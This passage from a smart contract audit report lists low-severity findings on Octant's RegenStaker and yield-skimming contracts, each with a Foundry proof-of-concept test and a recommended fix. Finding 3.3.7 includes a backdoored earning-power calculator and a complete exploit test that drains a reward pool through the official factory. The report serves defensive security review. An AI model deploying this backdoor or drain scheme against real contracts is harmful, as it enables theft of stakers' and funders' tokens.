    function test_PoC_RewardsBecomeStuck() public {
        // 4. Admin sets a claim fee
        uint256 feeAmount = 100 * 1e18;
        staker.setClaimFeeParameters(feeAmount, feeCollector);

        // 5. User accrues a small amount of rewards, less than the fee
        uint256 stuckRewardAmount = 50 * 1e18;
        vm.startPrank(user);
        rewardToken.approve(address(staker), stuckRewardAmount);
        staker.addRewards(depositId, stuckRewardAmount);
        vm.stopPrank();

        console.log("--- SCENARIO ---");
        console.log("Claim Fee set to: %d RWD", feeAmount / 1e18);
        console.log("Accrued rewards:  %d RWD", stuckRewardAmount / 1e18);
        console.log("Accrued rewards are less than the fee, so they should be stuck.");
        console.log("----------------\n");

        // --- ASSERT STUCK STATE ---
        assertEq(rewardToken.balanceOf(address(staker)), stuckRewardAmount, "Staker should hold the rewards");
        assertEq(staker.unclaimedRewards(depositId), stuckRewardAmount, "Internal accounting should show
        ↪  rewards");

        // 6. User attempts to claim rewards.
        // EXPECTATION: The transaction succeeds but returns 0. No funds are transferred.
        console.log("Attempt 1: User calls claimReward()...");
        vm.prank(user);
        uint256 claimed = staker.claimReward(depositId);

        assertEq(claimed, 0, "claimReward should return 0");
        assertEq(rewardToken.balanceOf(user), 1_000_000 * 1e18 - stuckRewardAmount, "User balance should not
        ↪  increase");
        assertEq(rewardToken.balanceOf(feeCollector), 0, "Fee collector balance should not increase");
        assertEq(rewardToken.balanceOf(address(staker)), stuckRewardAmount, "Rewards are still in the staker
        ↪  contract");
        assertEq(staker.unclaimedRewards(depositId), stuckRewardAmount, "Internal accounting is unchanged");
        console.log("Result: claimReward() returned 0. Funds remain locked.");

        // 7. User attempts to contribute the rewards.
        // EXPECTATION: The transaction succeeds but returns 0. No funds are transferred.
        console.log("\nAttempt 2: User calls contribute()...");
        vm.prank(user);
        uint256 contributed = staker.contribute(depositId, stuckRewardAmount);

        assertEq(contributed, 0, "contribute should return 0");
        assertEq(rewardToken.balanceOf(user), 1_000_000 * 1e18 - stuckRewardAmount, "User balance still
        ↪  unchanged");
        assertEq(rewardToken.balanceOf(feeCollector), 0, "Fee collector balance still unchanged");
        assertEq(rewardToken.balanceOf(address(staker)), stuckRewardAmount, "Rewards are STILL in the staker
        ↪  contract");
        assertEq(staker.unclaimedRewards(depositId), stuckRewardAmount, "Internal accounting is still
        ↪  unchanged");
        console.log("Result: contribute() returned 0. Funds remain locked.");

        console.log("\n--- CONCLUSION ---");
        console.log(
            "The %d RWD are permanently stuck in the contract. Neither the user nor the fee collector can access
            ↪  them.",
            stuckRewardAmount / 1e18
        );
    }
}
```

Recommendation: To resolve this, the logic should be modified to allow claims even when the reward is less than or equal to the fee. In such cases, the entire reward amount should be transferred to the `feeCollector`. This ensures no funds are ever permanently locked in the contract.

3.3.4 `_validateRewardBalance` Return Value (`required`) Not tracked

Submitted by 3rdeye

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Finding Details: The function `_validateRewardBalance(uint256 _amount)` inside `notifyRewardAmount` computes and returns the new reward balance for the contract (totalRewards - totalClaimedRewards + _amount). However, the parent function `notifyRewardAmount(uint256 _amount)` does not capture or return this value. As a result, the computed new reward balance is silently discarded .

```
function notifyRewardAmount(uint256 _amount) external virtual override nonReentrant {
    _validateRewardBalance(_amount);
    _notifyRewardAmountWithCustomDuration(_amount);
}

function _validateRewardBalance(uint256 _amount) internal view virtual returns (uint256 required) {
    uint256 currentBalance = REWARD_TOKEN.balanceOf(address(this));

     required = totalRewards - totalClaimedRewards + _amount;

    if (currentBalance < required) {
        revert InsufficientRewardBalance(currentBalance, required);
    }

    return required;
```

Impact Explanation: Inside `_notifyRewardAmountWithCustomDuration`:

1. RewardEndTime resets for new rewadDuration.

   ```
   rewardEndTime = block.timestamp + sharedState.rewardDuration;
   ```

2. Newly added `_amount` adds up with `totalRewards`. Since, a new season/session is restarting, the actual reward `amount(New Reward)` should be tracked and displayed which is being calculated but discarded silently.

3.3.5 Yield skimming strategies will regularly get DoSed

Submitted by kvar

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Finding Description: Depositing and minting into `YieldSkimmingTokenizedStrategy` requires the vault to be solvent. If `_isVaultInsolvent()` returns `true`, deposits are blocked:

```
(YS.totalUserDebtInAssetValue > 0 || YS.dragonRouterDebtInAssetValue > 0) &&
currentVaultValue < YS.totalUserDebtInAssetValue + YS.dragonRouterDebtInAssetValue;
```

The problem is that the check includes `YS.dragonRouterDebtInAssetValue`, even though this value represents the dragon buffer that is meant to absorb losses before users are impacted.

As a result, the vault can be ”insolvent” and block deposits even when losses can be fully covered by the dragon buffer.

Example scenario:

1. The vault is operating normally and has accrued `YS.dragonRouterDebtInAssetValue`.
2. The keeper calls `report()`, realizing profit, further increasing `YS.dragonRouterDebtInAssetValue`.
3. In the very next block, the exchange rate decreases by a tiny amount (`1 wei` change is enough).

4. At this point, `currentVaultValue < YS.totalUserDebtInAssetValue + YS.dragonRouterDebtInAssetValue`, so `_isVaultInsolvent()` returns true and deposits revert.

Impact Explanation: Deposits will be DoSed until `report()` is called again or exchange rate increases.

Also if the loss is very small, the keeper may not even be able to successfully call `report()` again, unless management disables the health check via `BaseYieldSkimmingStrategyHealthCheck.sol#setDoHealthCheck(false)`.

Likelihood Explanation: Although `report()` is called only by the keeper, it needs to be called frequently. Because even a very slight drop in the exchange rate can trigger this, the issue can occur.

Also this can still occur, even without a new `report()`. A sufficient drop in the exchange rate, one that should be absorbed by `dragonRouterDebtInAssetValue`, will still cause the vault to be "insolvent".

Proof of Concept: Add this test case in `LidoStrategy.t.sol`:

```
function testExchangeRateChangeDoS() public {
    TestState memory state;

    // First user deposits
    state.user1 = user;
    state.user2 = address(0x5678);
    state.depositAmount1 = 1000e18; // 1000 WSTETH

    // Get initial exchange rate
    state.initialExchangeRate = IYieldSkimmingStrategy(address(strategy)).getCurrentExchangeRate();

    vm.startPrank(state.user1);
    vault.deposit(state.depositAmount1, state.user1);
    vm.stopPrank();

    // Generate yield (10% increase in exchange rate)
    state.newExchangeRate1 = (state.initialExchangeRate * 110) / 100;

    // Mock the yield vault's stEthPerToken instead of strategy's internal method
    vm.mockCall(WSTETH, abi.encodeWithSignature("stEthPerToken()"), abi.encode(state.newExchangeRate1));

    // Harvest to realize profit
    vm.startPrank(keeper);
    vault.report();
    vm.stopPrank();

    // assert we have dragonrouter debt
    assert(IYieldSkimmingStrategy(address(strategy)).getDragonRouterDebtInAssetValue() > 0);

    // very very very small change is needed, can happen in the next block
    state.newExchangeRate2 = state.newExchangeRate1 - 1;
    vm.mockCall(WSTETH, abi.encodeWithSignature("stEthPerToken()"), abi.encode(state.newExchangeRate2));

    // user tries to deposit, but vault is "insolvent", even though the loss was extremely small and we can
    ↪  easily cover it
    vm.startPrank(state.user1);
    vm.expectRevert();
    vault.deposit(state.depositAmount1, state.user1);
    vm.stopPrank();
}
```

Recommendation: Change the `_isVaultInsolvent()` logic.

3.3.6 `YIELD_SKIMMING_STORAGE_SLOT` should substract by one

Submitted by 0x4non

Severity: Low Risk

Context: YieldSkimmingTokenizedStrategy.sol#L36

Description: The contract's Layout struct is maintain in the storage slot equal to `keccak256("octant.yieldSkimming.exchangeRate")`. This is similar to how EIP-1967 storage slots are maintained, except that there is an offset of `-1` missing in the calculation. The offset is recommended because the resulting value wouldn't have a known preimage, which decreases the chance of a collision with a compiler storage slot.

Recommendation: Subtract one from the `YIELD_SKIMMING_STORAGE_SLOT`:

```
bytes32 private constant YIELD_SKIMMING_STORAGE_SLOT =
↪  bytes32(uint256(keccak256("octant.yieldSkimming.exchangeRate")) - 1);
```

3.3.7 Architectural Flaw in `RegenStakerFactory` Allows Malicious Dependency Injection, Enabling Reward Pool Theft

Submitted by kind0dev

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Summary: The `RegenStakerFactory` contract fails to validate the user-provided `earningPowerCalculator` address when deploying new staker instances, a critical security check that is present for other external dependencies like the `allocationMechanismWhitelist`. This architectural inconsistency allows a malicious actor to permissionlessly deploy a "trojan horse" `RegenStaker` that appears legitimate and uses the canonical bytecode, but is immutably linked to a malicious calculator. Once this poisoned staker is funded, its deployer (who becomes its admin) can exploit their malicious calculator to assign themselves disproportionate earning power, enabling the theft of the entire reward pool from honest stakers.

Finding Description: The security model of the `RegenStakerFactory` is designed to provide trust by ensuring that all deployed staker instances are created from canonical, audited bytecode. It enforces this via the `validatedBytecode` modifier. However, this guarantee is insufficient because the factory does not validate the addresses of critical dependencies passed as constructor arguments.

The core of the vulnerability lies in the `createStakerWithDelegation` and `createStakerWithoutDelegation` functions. These functions accept a `CreateStakerParams` struct, which includes the `earningPowerCalculator` address. This address is passed directly into the `RegenStaker` constructor and stored as an immutable state variable. There is no mechanism to check if this calculator is a whitelisted, safe implementation.

This is a significant oversight, as the protocol correctly identifies and mitigates this exact type of risk elsewhere. In `RegenStakerBase.sol`, the `contribute()` function is protected by a whitelist check on the `allocationMechanismWhitelist`, preventing rewards from being sent to an untrusted contract. The `RegenStakerFactory` fails to apply this same essential security principle to the `earningPowerCalculator`, which has an equally critical role in controlling the flow of rewards.

Attack Propagation:

1. Preparation: An attacker deploys their own `MaliciousEarningPowerCalculator` contract. Its `getEarningPower()` function is programmed to return an astronomically high value for the attacker's address and a normal value for all other users.
2. Deployment via Factory: The attacker calls the public `RegenStakerFactory.createStaker...()` function. They provide the canonical bytecode for `RegenStaker`, which successfully passes the factory's `validatedBytecode` check. In the constructor parameters, they provide the address of their `MaliciousEarningPowerCalculator`.
3. Resulting State: The factory deploys a new `RegenStaker` instance that is, for all on-chain purposes, legitimate. However, it is permanently and immutably bound to the attacker's malicious calculator.
4. Exploitation: After the staker is funded with rewards (through any means, such as a project's treasury grant or community donations), the attacker stakes a trivial amount (e.g., 1 wei). When the reward period ends, the staker's logic consults the malicious calculator. The calculator assigns the attacker near-infinite earning power relative to other stakers. The attacker can then call `claimReward()` to drain the entire reward pool. This can be done in a single transaction or slowly over time to avoid detection.

This vulnerability breaks the trust assumption of the factory. It allows for the creation of weapons disguised as legitimate contracts, turning a simple human error (like sending funds to a wrong-but-official-looking address) into a catastrophic and irreversible loss of funds.

Impact Explanation: The impact is Critical. This is not a simple configuration mistake but an architectural flaw that enables the creation of fraudulent contracts under the guise of the official factory.

- Total Loss of Funds: The entire reward pool of a poisoned staker instance can be stolen. This represents a direct, permanent loss for the entity that provided the rewards.

- Theft from Honest Participants: Legitimate users who stake their own capital into a poisoned staker will have their expected yield stolen by the attacker.
- Erosion of the Factory's Trust Model: The factory's primary security promise is that it produces safe contracts. This vulnerability breaks that promise, making it impossible to trust any `RegenStaker` instance deployed from this factory without exhaustive off-chain verification of its constructor parameters, defeating the factory's purpose.

Likelihood Explanation: The likelihood is Medium. The technical barrier to execute the first phase of the attack (deploying a poisoned staker) is very low, as the factory is permissionless. The second phase (getting the staker funded) A treasury manager performing on-chain due diligence would see it was deployed by the official factory and uses canonical bytecode, providing a strong and misleading signal of safety.

A secure protocol must be resilient to such common operational errors. This vulnerability turns a simple mistake into a total loss event.

Proof of Concept: The following Foundry test is a self-contained exploit that demonstrates the vulnerability from deployment to fund drainage.

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;

import { Test, console } from "forge-std/Test.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import { RegenStakerFactory } from "src/factories/RegenStakerFactory.sol";
import { RegenStaker, IWhitelist } from "src/regen/RegenStaker.sol";
import { RegenStakerWithoutDelegateSurrogateVotes } from
↪  "src/regen/RegenStakerWithoutDelegateSurrogateVotes.sol";
import { Whitelist } from "src/utils/Whitelist.sol";
import { IEarningPowerCalculator } from "staker/interfaces/IEarningPowerCalculator.sol";

// Mocks for PoC
import { MockERC20Staking } from "test/mocks/MockERC20Staking.sol";
import { Staker } from "staker/Staker.sol";

/**
 * @title MaliciousEarningPowerCalculator
 * @dev This is the attacker's malicious contract. It conforms to the IEarningPowerCalculator
 *      interface but contains a backdoor to assign astronomical earning power to the attacker,
 *      ensuring they receive nearly 100% of any rewards distributed.
 */
contract MaliciousEarningPowerCalculator is IEarningPowerCalculator {
    address public immutable attacker;

    constructor(address _attacker) {
        attacker = _attacker;
    }

    function getEarningPower(
        uint256 stakedAmount,
        address staker,
        address
    ) external view returns (uint256) {
        // BACKDOOR: If the staker is the attacker, return a huge number.
        if (staker == attacker) {
            // This earning power is orders of magnitude larger than any realistic stake,
            // guaranteeing the attacker a disproportionately large share of rewards.
            return 1_000_000_000e18; // 1 billion ETH-equivalent earning power
        }
        // For everyone else, behave normally.
        return stakedAmount;
    }

    function getNewEarningPower(
        uint256 stakedAmount,
        address staker,
        address,
        uint256 oldEarningPower
    ) external view returns (uint256 newCalculatedEarningPower, bool qualifiesForBump) {
                // BACKDOOR: If the staker is the attacker, return a huge number.
        if (staker == attacker) {
            // This earning power is orders of magnitude larger than any realistic stake,
            // guaranteeing the attacker a disproportionately large share of rewards.
            newCalculatedEarningPower = 1_000_000_000e18; // 1 billion ETH-equivalent earning power
```

```
        }
        // For everyone else, behave normally.
        newCalculatedEarningPower = stakedAmount;
        qualifiesForBump = newCalculatedEarningPower != oldEarningPower;
    }
}


/**
 * @title REG_FACTORY_ExploitTest
 * @notice This test contract is a full Proof of Concept demonstrating the critical
 *         vulnerability in RegenStakerFactory.
 * @dev This test will:
 *      1. Deploy the official, trusted RegenStakerFactory.
 *      2. As an attacker, deploy a MaliciousEarningPowerCalculator.
 *      3. As the attacker, use the OFFICIAL factory to deploy a "poisoned" RegenStaker
 *         that uses the canonical bytecode but is linked to the malicious calculator.
 *      4. Simulate a victim (e.g., a project treasury) funding this poisoned staker.
 *      5. Demonstrate how the attacker, with a minuscule stake, drains almost the
 *         entire reward pool, while an honest user with a large stake gets a negligible amount.
 */
contract REG_FACTORY_ExploitTest is Test {

    // --- State Variables ---
    RegenStakerFactory public factory;
    MockERC20Staking public stakeAndRewardToken;

    // --- Actors ---
    address public admin = makeAddr("admin");
    address public victimRewardNotifier = makeAddr("victimRewardNotifier");
    address public attacker = makeAddr("attacker");
    address public honestStaker = makeAddr("honestStaker");

    // --- Constants ---
    uint256 public constant REWARD_POOL_AMOUNT = 100_000e18;
    uint256 public constant HONEST_STAKE_AMOUNT = 10_000e18;
    uint256 public constant ATTACKER_STAKE_AMOUNT = 1; // 1 wei

    function setUp() public {
        vm.startPrank(admin);

        // Deploy the shared token for staking and rewards
        stakeAndRewardToken = new MockERC20Staking(18);

        // Deploy the official RegenStakerFactory
        bytes memory regenStakerBytecode = type(RegenStaker).creationCode;
        bytes memory noDelegationBytecode = type(RegenStakerWithoutDelegateSurrogateVotes).creationCode;
        factory = new RegenStakerFactory(regenStakerBytecode, noDelegationBytecode);

        vm.stopPrank();

        // Fund the actors
        stakeAndRewardToken.mint(victimRewardNotifier, REWARD_POOL_AMOUNT);
        stakeAndRewardToken.mint(honestStaker, HONEST_STAKE_AMOUNT);
        stakeAndRewardToken.mint(attacker, ATTACKER_STAKE_AMOUNT);
    }

    function test_exploit_maliciousCalculatorInjection() public {
        console.log("--- PoC: Malicious EarningPowerCalculator Injection ---");

        // --- Step 1: Attacker Deploys Malicious Infrastructure ---
        console.log("\n[1] Attacker deploys their malicious EarningPowerCalculator...");
        vm.startPrank(attacker);
        MaliciousEarningPowerCalculator maliciousCalculator = new MaliciousEarningPowerCalculator(attacker);
        vm.stopPrank();
        console.log("    > Malicious Calculator deployed at:", address(maliciousCalculator));

        // --- Step 2: Attacker Deploys Poisoned Staker via OFFICIAL Factory ---
        console.log("\n[2] Attacker calls the official factory to deploy a poisoned RegenStaker...");

        RegenStakerFactory.CreateStakerParams memory params = RegenStakerFactory.CreateStakerParams({
            rewardsToken: IERC20(address(stakeAndRewardToken)),
            stakeToken: stakeAndRewardToken,
            admin: attacker,
            stakerWhitelist: new Whitelist(),
            contributionWhitelist: new Whitelist(),
```

```
    allocationMechanismWhitelist: new Whitelist(),
    earningPowerCalculator: maliciousCalculator, // <-- THE PAYLOAD
    maxBumpTip: 0,
    maxClaimFee: 0,
    minimumStakeAmount: 0,
    rewardDuration: 30 days
});

bytes memory regenStakerBytecode = type(RegenStaker).creationCode;

vm.startPrank(attacker);
address poisonedStakerAddress = factory.createStakerWithDelegation(params, keccak256("poison"),
↪  regenStakerBytecode);
vm.stopPrank();

RegenStaker poisonedStaker = RegenStaker(poisonedStakerAddress);
console.log("   > Poisoned RegenStaker deployed by factory at:", poisonedStakerAddress);
assertEq(address(poisonedStaker.earningPowerCalculator()), address(maliciousCalculator), "Calculator was
↪  not injected!");

// --- Step 3: Victim Funds the Poisoned Staker ---
console.log("\n[3] A victim (e.g., project treasury) is tricked into funding the poisoned staker...");
vm.startPrank(victimRewardNotifier);
stakeAndRewardToken.transfer(address(poisonedStaker), REWARD_POOL_AMOUNT);
vm.stopPrank();

vm.startPrank(attacker);
poisonedStaker.setRewardNotifier(victimRewardNotifier, true);

vm.startPrank(victimRewardNotifier);
poisonedStaker.notifyRewardAmount(REWARD_POOL_AMOUNT);
vm.stopPrank();
console.log("   > Poisoned staker now holds", REWARD_POOL_AMOUNT / 1e18, "tokens as rewards.");

// --- Step 4: Honest User and Attacker Stake ---
console.log("\n[4] An honest user and the attacker stake their tokens...");

vm.prank(attacker);
IWhitelist(address(poisonedStaker.stakerWhitelist())).addToWhitelist(honestStaker);
IWhitelist(address(poisonedStaker.stakerWhitelist())).addToWhitelist(attacker);

vm.startPrank(honestStaker);
stakeAndRewardToken.approve(address(poisonedStaker), HONEST_STAKE_AMOUNT);
Staker.DepositIdentifier honestDepositId = poisonedStaker.stake(HONEST_STAKE_AMOUNT, honestStaker);
vm.stopPrank();
console.log("   > Honest staker deposits:", HONEST_STAKE_AMOUNT / 1e18, "tokens.");

vm.startPrank(attacker);
stakeAndRewardToken.approve(address(poisonedStaker), ATTACKER_STAKE_AMOUNT);
Staker.DepositIdentifier attackerDepositId = poisonedStaker.stake(ATTACKER_STAKE_AMOUNT, attacker);
vm.stopPrank();
console.log("   > Attacker deposits:     ", ATTACKER_STAKE_AMOUNT, "wei.");

// --- Step 5: Time Passes & Attacker Claims the Loot ---
console.log("\n[5] Reward period ends. Attacker and honest user claim rewards...");
vm.warp(block.timestamp + 30 days + 1);

vm.prank(honestStaker);
uint256 honestReward = poisonedStaker.claimReward(honestDepositId);

vm.prank(attacker);
uint256 stolenAmount = poisonedStaker.claimReward(attackerDepositId);

console.log("   > Honest staker (staked 10,000) received:", honestReward, "tokens.");
console.log("   > Attacker (staked 1 wei) received:     ", stolenAmount , "tokens.");

// --- Step 6: Verification - The Proof ---
console.log("\n[6] Verifying the theft...");

// #1: The attacker, with a 1 wei stake, received almost the entire reward pool.
// We use a small tolerance (0.01%) for potential rounding dust.
assertApproxEqRel(stolenAmount, REWARD_POOL_AMOUNT, 1e14, "Attacker did not drain the full reward
↪  pool!");

// #2: The honest staker, who provided >99.99% of the real economic stake,
// received a negligible amount, provably less than 0.01% of the total rewards.
```

```
        uint256 onePercentOfPool = REWARD_POOL_AMOUNT / 1000; // 0.1% threshold
        assertLt(honestReward, onePercentOfPool, "Honest staker received a significant portion of rewards,
        ↪  exploit failed.");

    }
}
```

Output:

```
Ran 1 test for test/proof-of-concepts/REG_FACTORY_CalculatorInjection_Exploit.t.sol:REG_FACTORY_ExploitTest
[PASS] test_exploit_maliciousCalculatorInjection() (gas: 7555108)
Logs:
  --- PoC: Malicious EarningPowerCalculator Injection ---

[1] Attacker deploys their malicious EarningPowerCalculator...
     > Malicious Calculator deployed at: 0x959951c51b3e4B4eaa55a13D1d761e14Ad0A1d6a

[2] Attacker calls the official factory to deploy a poisoned RegenStaker...
     > Poisoned RegenStaker deployed by factory at: 0x63a180d62494eaFbD9bB82Ee71eF679523dddC8D

[3] A victim (e.g., project treasury) is tricked into funding the poisoned staker...
     > Poisoned staker now holds 100000 tokens as rewards.

[4] An honest user and the attacker stake their tokens...
     > Honest staker deposits: 10000 tokens.
     > Attacker deposits:      1 wei.

[5] Reward period ends. Attacker and honest user claim rewards...
     > Honest staker (staked 10,000) received: 999990000099999000 tokens.
     > Attacker (staked 1 wei) received:      99999000009999900000999 tokens.
```

Recommendation: The `RegenStakerFactory` must enforce a whitelist for `EarningPowerCalculator` contracts to ensure that only audited and approved implementations can be used in new staker deployments. This mirrors the existing, correct security pattern used for other critical dependencies. Recommended Code Change in `RegenStakerFactory.sol`:

1. Add a whitelist state variable and an owner-controlled setter function:

```
// Add to state variables
IWhitelist public earningPowerCalculatorWhitelist;
event EarningPowerCalculatorWhitelistSet(address indexed whitelist);

// Add this onlyOwner function (assuming Ownable is used or similar)
function setEarningPowerCalculatorWhitelist(IWhitelist _whitelist) external onlyOwner {
    earningPowerCalculatorWhitelist = _whitelist;
    emit EarningPowerCalculatorWhitelistSet(address(_whitelist));
}
```

2. Add a validation check in the `_deployStaker` internal function (or the public wrappers):

```
function _deployStaker(...) internal returns (address stakerAddress) {
    // ADD THIS VALIDATION
    require(
        address(earningPowerCalculatorWhitelist) != address(0) &&
        earningPowerCalculatorWhitelist.isWhitelisted(address(params.earningPowerCalculator)),
        "RegenStakerFactory: EarningPowerCalculator not whitelisted"
    );

    // ... rest of existing deployment logic ...
}
```

This change closes the architectural gap and ensures that all critical, immutable dependencies of contracts deployed by the factory are validated, restoring trust in the factory's outputs.